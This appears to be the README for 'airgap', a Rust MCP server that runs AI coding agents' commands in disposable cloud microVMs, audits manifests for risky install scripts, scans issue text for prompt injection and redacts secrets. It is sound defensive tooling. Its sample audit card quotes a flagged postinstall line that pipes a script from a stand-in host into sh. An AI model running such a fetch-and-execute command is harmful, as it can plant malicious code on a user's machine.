Disposable GMI AgentBox microVM execution, supply-chain auditing, and secret-redacting security boundary for AI coding agents.
AI coding agents like Claude Code, Cursor and Droid often need to run code: install packages, build a project, run its tests, or try a fix from a pull request. Normally that code runs on your own computer, next to your SSH keys, cloud tokens and private files. If the code is malicious, your machine pays for it.
airgap gives your agent a safe place to do that work instead. It is a small program that runs next to your editor. When your agent needs to run something, airgap sends only the files it needs to a fresh, throwaway Linux virtual machine on GMI Cloud, runs it there, and brings back the result. The virtual machine is deleted afterwards.
checks issue and PR text for hidden instructions aimed at your agent,
warns about risky install scripts in package.json, requirements.txt or Cargo.toml,
removes passwords, tokens and keys from logs before your agent sees them.
You keep working as usual. Ask your agent to "use airgap and run the tests", and it does the rest.
Website · Docs · Guides · Quickstart
flowchart LR subgraph Host["Local Workstation (Protected)"] Agent["AI Coding Agent
(Claude Code / Cursor / Droid)"] Airgap["airgap MCP Server
(100% Rust stdio)"] Scanners["Local Scanners
• Supply-Chain Auditor"] Agent --> Airgap Airgap --> Scanners end subgraph Cloud["GMI Cloud Security Boundary"] AgentBox["GMI AgentBox MicroVM
(Node.js / Python / Rust containers)"] MaaS["GMI MaaS
(Defensive Prompt-Injection Classifier)"] Airgap -->|"Explicit Files & Commands"| AgentBox Airgap -->|"Sanitized Untrusted Text"| MaaS end AgentBox -->|"Test Logs & Exit Code"| Airgap Airgap -->|"Compact Markdown Status Card"| Agent Loading Only files the agent passes explicitly are uploaded; the server never reads your working tree on its own. Sandbox output is redacted before it reaches the agent, and every sandbox is deleted after the run. The image template stays on GMI Cloud so later runs with the same image and instance type skip the build. Details: architecture and threat model.
Every sandbox run and PR verification passes four gates in order. If one fails, the run stops there.
1. Install. The installers download a published release, verify its SHA-256 checksum and run airgap setup --yes.
# macOS / Linux curl -fsSL https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.sh | bash # Windows PowerShell irm https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.ps1 | iex With Node.js 18+, you can run the MCP server without a global install. The npm launcher downloads and verifies the matching release, caches it, and passes any arguments through to airgap:
npx -y airgap-mcp # start the stdio MCP server npx -y airgap-mcp setup --yes # or run the normal setup flow If no release is published yet, or you prefer source, use Cargo (Rust 1.89+ and a native linker):
cargo install --git https://github.com/dhruvil-codes/airgap --locked 2. Configure your editors. Run this from your workspace:
airgap setup # detected editors; Cursor, Claude Code and VS Code if none detected airgap setup --cursor # one editor only airgap setup --rules-only --yes # agent routing rules only Setup registers the server for Claude Code, Cursor, VS Code and Factory Droid, and adds a managed routing-rule block to .cursorrules, CLAUDE.md and AGENTS.md. For Claude Code it adds mcp__airgap__* to permissions.allow without changing permissions.defaultMode, so airgap tools run without prompts while host tools (Bash, Write, Edit) keep their existing confirmation gates (pass --claude-bypass-permissions only if you explicitly want to disable all Claude Code tool prompts; see setup). GMI keys are written only to user-level configs (~/.claude.json, ~/.cursor/mcp.json, ~/.factory/mcp.json). Workspace files such as .mcp.json, .cursor/mcp.json, .vscode/mcp.json and .factory/mcp.json never store credentials, and setup removes keys it finds there. Set GMI_AGENTBOX_API_KEY and GMI_MAAS_API_KEY first (see .env.example); local scanners work without them.
airgap doctor Doctor checks both keys, the MaaS gateway, AgentBox compute eligibility, the configured model, and every registered editor config, labeled by client and scope. It creates no billable resources.
Reload your editor and prompt normally. The server instructions and routing rules tell the agent to pick and chain the tools itself:
Routing rules guide tool choice; they cannot enforce it. Adding this server does not disable the agent's own terminal tools, so configure client permissions if all execution must go through airgap.
Sandbox, patch verification and supply-chain tools return a box-drawn terminal card for the agent; secret redaction and injection scans return a compact Markdown card. Every tool also returns the full JSON as structuredContent. These two cards are real output from the release binary:
╭─ 🛡️ AIRGAP SUPPLY-CHAIN AUDIT ──────────────────────────────────────────────────────╮ │ RISK 🚨 HIGH DURATION 4ms │ │ FLAGGED 2 items SCOPE Manifest heuristics │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ FLAGGED COMMANDS │ │ • npm script postinstall: curl -s https://example.invalid/x.sh | sh │ │ • dependencies/left-pad: remote or local dependency requires review │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ 🔒 Manifest heuristics evaluated. Local host protected. │ ╰──────────────────────────────────────────────────────────────────────────────────────╯ 🛡️ **Airgap Secret Redactor** · ⏱️ **5ms** 🔒 **1 Secret Redacted** > DATABASE_URL=postgres://app@db/prod > DB_PASSWORD=[REDACTED] > max_tokens = 4096 Sandbox and verification cards have the same frame. Their duration includes remote provisioning, so expect seconds rather than milliseconds (the values below are illustrative):
╭─ 🛡️ AIRGAP SANDBOX EXECUTION ───────────────────────────────────────────────────────╮ │ STATUS ✅ PASSED EXIT CODE 0 │ │ IMAGE docker.io/library/rust:1-bookworm DURATION 41870ms │ │ COMPUTE gmi.sandbox.medium SANDBOX 100% Host Guarded │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ OUTPUT │ │ running 1 test │ │ test arithmetic ... ok │ │ │ │ test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ 🔒 Host Protected: Executed inside isolated GMI AgentBox MicroVM. Zero local │ │ modifications. │ ╰──────────────────────────────────────────────────────────────────────────────────────╯ ╭─ 🛡️ AIRGAP REMOTE PATCH VERIFICATION ───────────────────────────────────────────────╮ │ VERDICT ❌ UNVERIFIED DURATION 38210ms │ │ STATUS 46 passed · 2 failed COMPUTE gmi.sandbox.medium │ │ IMAGE docker.io/library/node:20-bookworm SANDBOX 100% Host Guarded │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ TEST SUITE METRICS │ │ Pass Rate: 96% [█████████████████████████████░] 46/48 │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ FAILURE REASONS │ │ • Patch apply or test command failed (exit code 1). │ │ • 2 test(s) failed. │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ OUTPUT (last 20 lines) │ │ ✘ parser › rejects empty input │ │ ✘ parser › keeps trailing newline │ │ ─ │ │ 2 tests failed │ ├──────────────────────────────────────────────────────────────────────────────────────┤ │ 🔒 Zero Host Contamination: Clean base snapshot verified in disposable cloud │ │ sandbox. │ ╰──────────────────────────────────────────────────────────────────────────────────────╯ Product tour
Inputs, limits, configuration variables and cleanup behavior are in the tool reference. Example arguments: examples/sandbox-run.json, examples/redact-secrets.json.
GMI sandboxes have outbound internet. "airgap" refers to the host execution boundary; this is not an offline or physically air-gapped system.
Files you send to a sandbox or model leave your machine. Sandbox snapshots are uploaded unchanged; injection-scan text and audit sources are redacted first.
Provider base URLs are read only from the process environment, so a cloned repository's .env cannot redirect your keys.
Scanners and model verdicts can be wrong. Receipts are unsigned SHA-256 integrity records, not attestations.
Read the threat model and the security policy before relying on it.
Setup, installers and doctor
Public hosting and remote HTTP deployment
Tool and configuration reference
Architecture and source map
Validation results and known limitations
Releasing, changelog, contributing, code of conduct
cargo fmt --check cargo check --locked cargo test --locked --all-targets cargo clippy --locked --all-targets -- -D warnings cargo build --release --locked Tests run offline against local HTTP mocks and a real stdio child process; they need no GMI credentials and create no billable resources. On memory-constrained Windows machines, see CONTRIBUTING.md.
AI coding agents such as Claude Code, Cursor, Droid and Windsurf routinely run untrusted scripts, build unfamiliar repositories, reproduce issues and execute test suites. Doing that on a developer workstation exposes it to malicious install hooks, supply-chain attacks and credential theft. airgap is a local Model Context Protocol server that moves that execution into disposable GMI cloud microVMs, and scrubs secrets locally before logs or untrusted text are shown or sent to a model. Submitted commands never run on your machine.
Early development. Offline tests and release builds pass on Linux, macOS and Windows. Live sandbox runs and inference work on the tested account; live patch verification currently gets HTTP 403 from GMI. See the validation record.
Licensed under either MIT or Apache-2.0, at your option.
Maintained by Dhruvil Mistry. An independent project, not an official GMI Cloud product.
Rust MCP server for remote sandbox execution and defensive security review




